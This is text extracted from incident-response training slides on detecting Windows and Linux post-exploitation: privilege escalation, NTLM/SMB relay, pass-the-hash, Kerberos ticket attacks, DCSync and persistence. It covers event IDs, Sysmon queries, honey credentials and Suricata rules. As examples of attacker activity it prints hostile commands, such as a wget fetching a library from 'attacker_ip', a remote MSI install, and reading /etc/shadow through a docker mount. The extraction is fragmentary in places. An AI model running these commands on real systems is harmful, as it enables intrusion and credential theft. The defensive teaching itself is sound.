04 Preparing and Defending Against Post Exploitation
04 Preparing and Defending Against Post Exploitation
exploitation
S e c t i o n 0 3 | M o d u l e 0 4
© Caendra Inc. 2019
All Rights Reserved
Table of Contents
Post-exploitation:
Definition
Post-exploitation
Techniques & Defense
• Privilege Escalation
• Credential Theft & Cracking or Reuse (for Lateral Movement)
• Remote User Enumeration
• Lateral Movement
• Persistence
* Detecting post-exploitation activities is your last chance to uncover an adversary. For this reason in this module we will focus on
sheer detection rather than preparation and defense
https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-tokens
IHRPv1 - Caendra Inc. © 2019 | p.10
https://medium.com/palantir/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e
4.2.1.1.1 Stored Credentials
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-
IHRPv1 - Caendra Inc. © 2019 | p.12
and-2012/dn581922(v=ws.11)
4.2.1.1.1 Stored Credentials
Detection
In order to identify attackers, we can
follow a deception-like approach. This
means creating fake/honey files
containing fake credentials and
deploying them to the aforementioned
locations.
Detection
Attackers are also known for searching the registry for stored
credentials. We can follow the same deception-like approach in
this case as well and then check the abovementioned events to
detect them.
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625
IHRPv1 - Caendra Inc. © 2019 | p.15
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776
4.2.1.1.2 Insufficiently Secure Service Registry Permissions
Detection
The above means that a non-privileged user tries to tamper with a registry
key which is related to a Windows service. He actually tries to alter the
ImagePath, which is related to the location of the service’s executable.
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon IHRPv1 - Caendra Inc. © 2019 | p.17
4.2.1.1.2 Insufficiently Secure Service Registry Permissions
Detection
Detection
In the case of the service on your right. Windows will search for
the executable as follows.
"C:\Program.exe" Files\ATI
Technologies\ATI.ACE\Fuel\Fuel.Service.exe
"C:\Program Files\ATI.exe"
Technologies\ATI.ACE\Fuel\Fuel.Service.exe
"C:\Program Files\ATI
Technologies\ATI.ACE\Fuel\Fuel.Service.exe"
Detection
Detection
Detection
Such attempts can be detected again through Sysmon Event ID 1.
Specifically, you will see a non-privileged process (IntegrityLevel other
than High) trying to quietly install a remote MSI (CommandLine
msiexec.exe /q /I http://domain_or_address/filename.msi).
You will also notice an unprivileged user in the User field.
Detection
Even if you missed the Windows installer being invoked with SYSTEM privileges
(after an unprivileged user tried to install a remote MSI), you can still detect this
kind of privilege escalation by checking for Parent – Child process anomalies.
Specifically, you will most probably see a Sysmon Event ID 1 entry that is related
to a privileged process (IntegrityLevel System) that has a ParentImage and
ParentCommandLine of C:\Windows\Installer\MSIXYZ.tmp (Windows Installer-
related) and a CommandLine field that contains cmd.exe or powershell.exe.
The above means that cmd or powershell was spawned by an MSI package,
which is anomalous activity.
IHRPv1 - Caendra Inc. © 2019 | p.27
4.2.1.1.6 Exploiting the Windows Kernel and 3rd-party
Drivers for Privilege Escalation
• SeDebugPrivilege
• SeImpersonatePrivilege
• SeAssignPrimaryPrivilege
• SeTakeOwnershipPrivilege
• SeRestorePrivilege
• SeBackupPrivilege
• SeLoadDriver
• SeCreateTokenPrivilege
• SeTcbPrivilege
IHRPv1 - Caendra Inc. © 2019 | p.30
4.2.1.1.7 Abusing Windows Privileges for Privilege Escalation
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-
createremotethread
IHRPv1 - Caendra Inc. © 2019 | p.35
4.2.1.1.7 Abusing Windows Privileges for Privilege Escalation
Detection
We could detect such privilege escalation attempts by looking for
Sysmon Event ID 8 entries.
Detection
At this point we will take the opportunity and show you how
privilege escalation attempts will look like inside a Linux
endpoint’s command-line history.
• Kernel Version
o Is the kernel vulnerable to any exploits?
o Related Command: uname –a
• Operating System
o Does the current OS have any known exploitable vulnerabilities?
o Related Command: cat /etc/issue
• Running Processes
o Any processes running with high/root privileges?
o Related Command: ps auxw
• Network Routes
o Is the currently compromised machine routed to other networks?
o Related Command: route -n
• DNS Server
o Can additional information be obtained from the DNS server? Active Directory Accounts, Zone
Transfers, etc.
o Related Command: cat /etc/resolv.conf
• Arp Cache
o Are the other machines accessible from the compromised machine?
o Related Command: arp -a
• Current Network Connections
o Are there any established connections from the compromised machine to other machines and
vice versa? Are the connections over encrypted or non-encrypted channels?
o Related Command: netstat -auntp
• Root accounts
o How many UID 0 (root) accounts are on the system?
o Related Command: cat /etc/passwd |cut -f1,3,4 -d":"
|grep "0:0" |cut -f1 -d":" |awk '{print $1}'
• Service Accounts
o Do any of the service accounts (i.e., www-data) have shells
defined?
o Related Command: cat /etc/passwd
• Home Directories
o Is access to other users’ home directories allowed? Is any of the
information contained in those directories useful?
o Related Command: ls –als /home/*
• Which services are configured on the system and what ports are they opening?
o Related Command: netstat -auntp
• Are service configuration files readable or modifiable by the current user?
o Related Command: find /etc/init.d/ ! -uid 0 -type f 2>/dev/null |xargs
ls -la
• Can attackers modify the configuration of a service in such a way that gives
them elevated privileges?
o Related Action: Edit Service Configuration File
• Do the configuration files contain any information attackers can use to their
advantage? (i.e., credentials, etc.)
o Related Command: cat /etc/mysql/my.cnf
• Can attackers stop or start the service as the current user?
o Related Command: service service_name start/stop
• Identifying the partition or “file” defined as the swap file for later
pilfering credentials from swap memory
o Related Commands: swapon –s
cat /proc/swaps
strings /dev/sda5 |grep "password="
strings /dev/sda5 |grep "&password="
• Possible code execution attempt via shared object library loading
o Related Commands: ldd /usr/local/bin/program
objdump -x /usr/local/bin/program |grep
RPATH
objdump -x /usr/local/bin/program |grep
RUNPATH
cd /tmp/program/libs && wget
http://attacker_ip/program.so
• Unix socket exploitation attempt (By design, the docker daemon binds
to a Unix socket instead of a TCP port. By default, that Unix socket is owned by the user
root; additionally, the docker daemon always runs as the root user.)
o Related Commands: docker run -v
/etc/shadow:/docker/hashedpasswords -d postgres
docker exec -ti CONTAINER_ID
bash
cat /docker/hashedpasswords >
/docker/test.txt
chmod 777 /docker/test.txt
cat /docker/test.txt
The very first scheme was LM, which turned out to be very
simple and easy to crack. As a result, it was replaced by
NTLM, which in turn was deprecated by NTLMv2 and finally
Kerberos.
yVie567bg1ver6Bq
IHRPv1 - Caendra Inc. © 2019 | p.63
4.2.2.1.1 LM/NTLMv1
Authentication Request
Challenge
Challenge Response
So let’s see how this message is built by the client and sent
to the server.
IHRPv1 - Caendra Inc. © 2019 | p.68
4.2.2.1.1 LM/NTLMv1
Each of these blocks will be the key to encrypt the Server challenge
sent during message 2.
• Note that attackers will impersonate the server, and then the
challenge will be chosen by them.
Authentication Request
Challenge
Challenge Response
Detection
On your right you can see an attacker setting up his
SMB capturing infrastructure, that will accept
incoming connections and send back a fixed
challenge. As you can imagine this fixed challenge
will help attackers in decrypting the captured
response.
Detection
The main difference with the old NTLMv1 is that the type 3
message is generated in a different way.
Authentication Request
Challenge
HMAC-MD5(Type2challenge|BLOB) |BLOB
http://davenport.sourceforge.net/ntlm.html#ntlmVersion2
IHRPv1 - Caendra Inc. © 2019 | p.86
http://davenport.sourceforge.net/ntlm.html#theNtlmv2Response
4.2.2.2 SMB Relay
2) Tries to authenticate
Important
It is important to know that the attack works only if the user, who
is trying to authenticate on the target machine, has
administrative privileges on the target.
In addition, the attack will work only if the target machine has the
"Network security: LAN Manager authentication level" set to "Send
LM & NTLM responses" or "Send NTLMv2 response only“.
Detection
On your right (upper image) you can see an attacker
setting up his SMB capturing and relaying infrastructure.
• Attacker: 192.168.102.147
• Target: 192.168.102.149
• Administrator: 192.168.102.135
Before we cover how you can detect this attack, let’s cover
one similar (in terms of result) attack that ultimately
performs SMB relaying but captures authentication
attempts through LLMNR and NBT-NS spoofing/poisoning.
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-llmnrp/eed7fe96-9013-4dec-b14f-5abf85545385
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc958811(v=technet.10)
IHRPv1 - Caendra Inc. © 2019 | p.94
4.2.2.2.1 Responder & Inveigh
https://github.com/lgandx/Responder
IHRPv1 - Caendra Inc. © 2019 | p.99
https://github.com/Kevin-Robertson/Inveigh
4.2.2.2.1 Responder & Inveigh
Detection
Detection
Sysmon is able to collect all
interactions of a network asset with
other assets in the network.
Detection
You can query a machine’s Sysmon logs using PowerShell. Specifically, we
are going to use the following PowerShell script (you can name it as
whatever_name.ps1) and Get-WinEventData.ps1
#credits to haveyousecured.blogspot.gr
Import-Module Get-WinEventData.ps1
Set-Location \\nonexisting\sharenotthere -ErrorAction SilentlyContinue
$EventsID3 = Get-WinEvent -FilterHashtable @{logname="Microsoft-
Windows-Sysmon/Operational";id=3} | Get-WinEventData | select
EventDataDestinationPort, EventDataDestinationIp
foreach($Event3 in $EventsID3){
You can execute the above, as follows. Port 139 (NetBios) could also have been used in the
powershell –ep bypass script
Import-Module .\Get-WinEventData.ps1
.\whatever_name.ps1
If you execute this script on an endpoint and this endpoint communicates with an
attacker’s SMB capturing infrastructure, you will see an alert as the one on your right.
https://gallery.technet.microsoft.com/scriptcenter/Get-WinEventData-Extract-344ad840
IHRPv1 - Caendra Inc. © 2019 | p.103
4.2.2.2 SMB Relay
Detection
Detection
Detection can be performed by looking for any responses regarding the non-
existing network resource and also by monitoring the usage of honey
credentials.
• Detecting ill-intended responses can be performed by checking if a UDP-based
response was returned, for the non-existing network resource you deliberately
requested. PowerShell and the CredDefense suite can assist you in that.
• Detecting the usage of honey credentials can be performed by analyzing a
machine’s Security event logs. Specifically, the Event ID 4648 - A logon was
attempted using explicit credentials can help you in detecting if any honey
credentials were used. The Get-EventLog function will certainly prove handy.
https://github.com/CredDefense/CredDefense
IHRPv1 - Caendra Inc. © 2019 | p.105
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-powershell-1.0/ee176846(v=technet.10)
4.2.2.2 SMB Relay
Detection
ResponderGuard (part of CredDefense)
deliberately requests for a non-existing network
resource and listens for any ill-intended
responses. It can be executed as follows.
powershell -ep bypass
Import-Module .\ResponderGuard.ps1
Invoke-ResponderGuard -CidrRange 10.100.11.0/24 -LoggingEnabled -
HoneyTokenSeed
Detection
ResponderGuard also submits honey credentials to any rogue authentication
server of Responder or Inveigh that is detected. So, we can also detect
Responder or Inveigh operating inside the network by monitoring the usage of
those credentials. As already mentioned the security Event ID that is of
interest when looking for such threats, is Event ID 4648 - A logon
was attempted using explicit credentials
Find-HoneyAccount.ps1 content:
.
We can monitor and query the logs associated with the Event ID 4648 as
follows (execute the below in two different PowerShell terminals
concurrently.)
When the honey credentials are submitted, you will see something similar to the upper
image on your right.
Detection
Finally, let’s don’t forget about PowerShell’s script
block logging capability. It can be utilized to detect
Inveigh being loaded into the memory of an intranet
machine.
SMBPASS the attacker specifies a msf exploit(psexec) > set RHOST 192.168.102.155
Detection
If you take a closer look at the image on your right,
you will notice that the psexec module (and other
tools) achieves its nefarious purposes through the
creation of a new Windows service.
Specifically:
1. It copies a binary to the ADMIN$ share over SMB
2. It creates a service on the remote machine
pointing to the abovementioned binary
3. It remotely starts the service
4. It stops the service and deletes the binary on exit
Detection
Latest iterations of psexec and penetration
testing tools like smbexec.py (part of the
impacket suite) avoid dropping a binary on disk
and prefer executing malicious PowerShell
commands through newly created services.
Detection
Unfortunately for defenders, attackers have
stepped up their game and now prefer mounting
pass the hash attacks through WMI. The
advantages of this technique is that no new
service is ever created and no suspicious
command is logged.
Detection
We remind you that pass the hash is essentially lateral movement over
the NTLM network. This means that NTLM connections are involved in
the process.
If an interactive logon did not take place prior to the NTLM connection,
we are most probably dealing with a pass the hash attack. Credits to: CyberArk
Detection
We can narrow things down even more, by focusing only on
privileged NTLM connections.
https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-
IHRPv1 - Caendra Inc. © 2019 | p.118
Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It-wp.pdf
4.2.2.4 Pass the Ticket
Before going deeper let’s see how Kerberos authentication works at a high level.
1. User authenticates to KDC. The 4. KDC decrypts the TGT and
initial request encrypts the current creates a service ticket. The
UTC timestamp with a long-term key. user’s PAC information is copied
from the TGT to the new ticket.
KDC then sends the service ticket
to the user, who will pass it on to
2. If KDC can decrypt the timestamp the target service. The ticket is
with the user’s key that is stored on encrypted with the target service
AD and the time is within the account’s long-term key.
accepted skew, authentication
succeeds. KDC then creates a TGT, 5. User sends the service ticket
encrypted with the ‘krbtgt’ account’s and the service decrypts the ticket
long-term key. The TGT is really just a with its long-term key. The user’s
special service ticket. Like all service PAC information are included in
tickets, it includes user identity the encrypted ticket, allowing the
information in a Privilege Attribute service to determine the user’s
Certificate (PAC). authorization level for the service.
Detection
Pass the ticket attacks can be detected at
the endpoint as follows.
• List all logon sessions of the system
and obtain all logon IDs in hex format
• For each logon ID, list all Kerberos
tickets that are associated with the
session. Use the klist command to do
so.
• Identify Kerberos tickets that do not
match the user associated with the
session. If you find any this means that
they have been injected as part of a
pass the ticket attack. Source: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
Detection
If we wanted to move the detection from the endpoint to the
Domain Controller. The following events are of interest.
• 4768 – A Kerberos authentication ticket (TGT) was
requested
• 4769 – A Kerberos service ticket was requested
• 4770 – A Kerberos service ticket was renewed
You should have figured by now that pass the ticket attacks
do not involve requesting a TGT. TGTs are stolen from
LSASS by the attackers. That being said attackers may
renew a stolen TGT and ultimately use it to request TGS
service tickets.
Detection
* This is based on the second provided resource regarding defenses against pass the
hash attacks (https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/)
** Domain Controllers can log Kerberos TGS service ticket requests by configuring
“Audit Kerberos Service Ticket Operations” under Account Logon.
https://adsecurity.org/?p=1640
IHRPv1 - Caendra Inc. © 2019 | p.125
https://adsecurity.org/?p=2011
4.2.2.6.1 Golden Tickets
Source: adsecurity.org
Detection
Golden Tickets are quite tricky to detect. The most reliable approach to detect
Golden Tickets is to look for the existence of TGS requests with no prior TGT
requests before them (within a reasonable time frame). If you find any, this may be
Event id: 4769 - A Kerberos service ticket was requested.
related to a golden ticket attack. More specific, but less reliable approaches are: Account Information:
1. Checking for the existence of anomalies in the following events. Event - Account Name:
- Account Domain:
ID:4624 (Account Logon), Event ID: 4672 (Admin Logon) and Event ID: 4634 - Logon GUID: {00000000-0000-0000-0000-000000000000}
(Account Logoff). Specifically you may see “eo.oe.kiwi : )”, “<3 eo.oe – ANSSI Service Information:
- Service Name:
E>”, a FQDN or nothing in the Account Domain field. - Service ID: NULL SID
2. Identifing suspicious TGT tickets by comparing the MaxTicketAge from the Network Information:
- Client Address: ::ffff:192.168.89.101
domain policy to the difference in the StartTime and EndTime of the cached - Client Port: 49278
authentication ticket. Additional Information:
- Ticket Options: 0x40810000
3. Checking for the existence of Event ID: 4769 (A Kerberos service ticket was - Ticket Encryption Type: 0xffffffff
- Failure Code: 0x1f
requested) with a status code of 0x1F: Integrity check on decrypted field failed. - Transited Services: -
The aforementioned will occur in the case of an attacker returning after a
double reset of the KRBTGT password has taken place (part of eradication of
a domain compromise).
4. Checking for tickets (like you did when defending against pass the ticket) or
new logon events related to non existing users. Through a Golden Ticket
attackers can impersonate anyone on the domain, including non existing
users.
5. Checking for the existence of Kerberos tickets with RC4 encryption. They
aren’t commonly met on modern environments. (This will happen if attackers
utilized the NTLM hash while creating the Golden Ticket)
Source: adsecurity.org
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/c38cc307-
IHRPv1 - Caendra Inc. © 2019 | p.133
f3e6-4ed4-8c81-dc550d96223c
4.2.2.6.2 Silver Tickets
Detection
Silver Tickets are even trickier to detect than Golden Tickets.
A reliable but heavy-going approach to detect Silver ticket is by identifying invalid Privsvr signatures
within Kerberos TGS on the wire. Specifically, a Silver Ticket (forged TGS) contains a modified PAC.
This Pac contains two signatures.
• Service signature (which is a checksum of the PAC encrypted with the service key)
• Privsvr signature (which is a checksum of the service signature encrypted with the KRBTGT key)
Attackers performing a Silver Ticket attack most probably haven’t compromised the whole domain
yet and subsequently don’t yet have the KRBTGT key. For this reason the Privsvr signature will most
probably be invalid.
As defenders (with access to the KRBTGT key) we can calculate the checksum of the service
signature and then encrypt it with the KRBTGT key. Armed with this knowledge we can verify any
Privsvr signature seen on the wire.
The caveat here is that the abovementioned approach requires Kerberos decryption.
-----------------
Detection
Detection
Let’s get back to Kerberoast and how we can detect it.
Some relatively reliable approaches are:
1. Searching for users causing excessive 4769 events
(specifically if this is done within a small time
window and you notice a large number of the
available domain services in the ServiceName field).
At the endpoint level an AES-encrypted ticket
followed by multiple RC4-encrypted tickets related
to important domain services is something that
should raise suspicions.
2. Checking for the existence of Kerberos tickets with
RC4 encryption. They aren’t commonly met on
modern environments.
3. Creating a honey account with a Service Principal
Name and then looking for 4769 events that have
this account in the ServiceName field. Source: adsecurity.org
Detection
DCSync performs its nefarious purposes through Active Directory alert tcp !$DC_SERVERS any -> $DC_SERVERS any
replication activities. The attack specifically requests the domain (msg:"Mimikatz DRSUAPI";
controller to replicate the user credentials via GetNCChanges flow:established,to_server; content:"|05 00 0b|";
(Abusing MS-DRSR). depth:3; content:"|35 42 51 e3 06 4b d1 11 ab 04
00 c0 4f c2 dc d2|"; depth:100;
flowbits:set,drsuapi; flowbits:noalert;
A viable detection approach is to place all Domain Controller IP reference:url,blog.didierstevens.com;
addresses in a list and configure your IDS to alert you if it detects a classtype:policy-violation; sid:1000001; rev:1;)
DsGetNCChange request from an IP that is not included in the list.
alert tcp !$DC_SERVERS any -> $DC_SERVERS any
(msg:"Mimikatz DRSUAPI DsGetNCChanges Request";
On your right you can see two Suricata rules that detect DCSync
flow:established,to_server;
following the approach above. flowbits:isset,drsuapi; content:"|05 00 00|";
depth:3; content:"|00 03|"; offset:22 depth:2;
• The first rule will set a flowbit (drsuapi) if DRSUAPI-binding reference:url,blog.didierstevens.com;
traffic is spotted on the wire classtype:policy-violation; sid:1000002; rev:1;)
Detection
A DCShadow attack can be detected on the wire by
spotting API like DrsAddEntry or DrsReplicaAdd being
called from a machine that is not a Domain Contoller.
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-
2008/dd941628(v=ws.10)
IHRPv1 - Caendra Inc. © 2019 | p.147
4.2.2.10 Password Spraying
Detection
Usually attackers perform password spraying against SMB on a domain
controller. This will result in an Event ID 4625 “logon failure” being
registered. The caveat here is that organizations should be able to spot
such events occurring within a small time window.
Attention should also be paid to the last bad password attribute in order
to discover password spraying.
get-aduser -filter * -prop lastbadpasswordattempt,badpwdcount |
select name,lastbadpasswordattempt,badpwdcount | format-table -
auto
Detection
Detection
Regarding detecting PowerView and BloodHound the
following approaches can be used.
1. A big part of PowerView’s (and subsequently
BloodHound’s) functionality comes down to LDAP
queries (net.exe uses SAMR). We can detect those
LDAP queries by enabling the logging of Domain
Controller Event 1644. See an example on your right
(upper image).
2. The above will generate numerous events, so you may
want to proceed to detecting enumeration-related
LDAP queries through analyzing traffic (LDAP is a
cleartext protocol). See an example of an LDAP
SearchRequest on your right (image at the bottom).
3. PowerShell’s script block logging capabilities can
assist in detecting PowerView’s or BloodHound’s
PowerShell code.
Source: ptsecurity.com
https://blogs.technet.microsoft.com/askpfeplat/2015/05/10/how-to-find-
expensive-inefficient-and-long-running-ldap-queries-in-active-directory/ IHRPv1 - Caendra Inc. © 2019 | p.153
4.2.3 Remote User Enumeration
Detection
A honeytoken approach can also be followed to identify remote privileged
user enumeration attempts. We can audit the User and groups directory
objects, just like files or folders. To enable this the “Directory Service
Access” subcategory should be enabled under “DS Access.”
From now on Event ID 4662 entries will be registered whenever one of these
objects (user or group) is enumerated.
Source: stuffithoughtiknew.com
Attackers are known for copying files over SMB for lateral
movement purposes, once they identify valid credentials.
Detection
Remote file copy over SMB can easily be detected through traffic analysis.
On your right (upper image) you can see the attacker first connecting to the
c$ share and then (image at the bottom) you can see him copying
mimikatz.exe starting with a “Create Request”. “Get Info” is related to
retrieving information about that target filesystem and “Set Info” is related
to transmitting some length information and metadata at the end of the
transaction. Copying the file commences from “Write Request” onwards.
At the endpoint Event ID 5140 and Event ID 5145 can help us detect remote
file copy over SMB. Windows file auditing can also enhance our visibility
regarding newly “created” files.
In addition, both Suricata and Bro have the ability to extract files transferred
over SMB. They can also alert you when the C$, ADMIN$, or IPC$ shares
are used.
https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/580596a8893fc021e94
4c4f9/1476761256829/Windows+File+Auditing+Cheat+Sheet+ver+Oct+2016.pdf IHRPv1 - Caendra Inc. © 2019 | p.157
4.2.4.2 Remote Execution
Detection
Detection
Detection
Detection
If an empire stager uses this WMI persistence module and Sysmon is
deployed you will be able to see the following three (3) events.
1. Event ID 19 - WmiEventFilter activity detected (rule: WmiEvent)
• Describes the conditions under which the payload
will be triggered. Within 5 minutes of system boot
in this case.
2. Event ID 20 - WmiEventConsumer activity detected (rule:
WmiEvent)
• This is where the payload resides (Base64-
encoded)
3. Event ID 21 – WmiEventComsumerToFilter (rule: WmiEvent)
• This is where the event consumer is bound to the
event filter
Autoruns could also have detected this through its WMI tab.
https://ss64.com/ps/get-wmiobject.html
IHRPv1 - Caendra Inc. © 2019 | p.171
https://ss64.com/ps/remove-wmiobject.html
4.2.5.3.1 Empire WMI Persistence
Detection
Let’s also try the linux_bash module, that recovers bash history.
>> /<path to volatility>/volatility/vol.py linux_bash -f
victim.mem.elf --profile=LinuxDebian84x64
Access Tokens
https://docs.microsoft.com/en-us/windows/desktop/secauthz/access-tokens
4663 event
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4663
4625
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625
Sysmon Event ID 1
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
sc
http://www.herongyang.com/Windows/Service-Controller-Command-Line-Tool-sc-exe.html
AlwaysInstallElevated
https://docs.microsoft.com/en-us/windows/desktop/Msi/alwaysinstallelevated
CreateRemoteThread
https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-
processthreadsapi-createremotethread
command-line history
https://www.tldp.org/LDP/GNU-Linux-Tools-Summary/html/x1712.htm
NTLM
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378749(v=vs.85).aspx
LLMNR
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-llmnrp/eed7fe96-9013-
4dec-b14f-5abf85545385
NBT-NS
https://technet.microsoft.com/en-us/library/cc958811.aspx
Inveigh
https://github.com/Kevin-Robertson/Inveigh
Get-WinEventData.ps1
https://gallery.technet.microsoft.com/scriptcenter/Get-WinEventData-Extract-344ad840
CredDefense
https://github.com/CredDefense/CredDefense
impacket
https://github.com/SecureAuthCorp/impacket
Silver Tickets
https://adsecurity.org/?p=2011
SPN
https://docs.microsoft.com/en-us/windows/desktop/ad/service-principal-names
Mimikatz
https://github.com/gentilkiwi/mimikatz
Kerberos decryption
https://lp.cyberark.com/rs/316-CZP-275/images/wp_Labs_Research_Kerberos_Decryption.pdf
Kerberoast
https://adsecurity.org/?p=2293
GetNCChanges
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/b63730ac-614c-
431c-9501-28d6aca91894
MS-DRSR
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-
b9bf-48c640241d47
DRSUAPI
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/58f33216-d9f1-43bf-
a183-87e3c899c410
NetSessionEnum
https://gallery.technet.microsoft.com/Net-Cease-Blocking-Net-1e8dcb5b
PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
How to find expensive, inefficient and long running LDAP queries in Active Directory
https://blogs.technet.microsoft.com/askpfeplat/2015/05/10/how-to-find-expensive-inefficient-
and-long-running-ldap-queries-in-active-directory/
Get-WMIObject
https://ss64.com/ps/get-wmiobject.html
Remove-WMIObject
https://ss64.com/ps/remove-wmiobject.html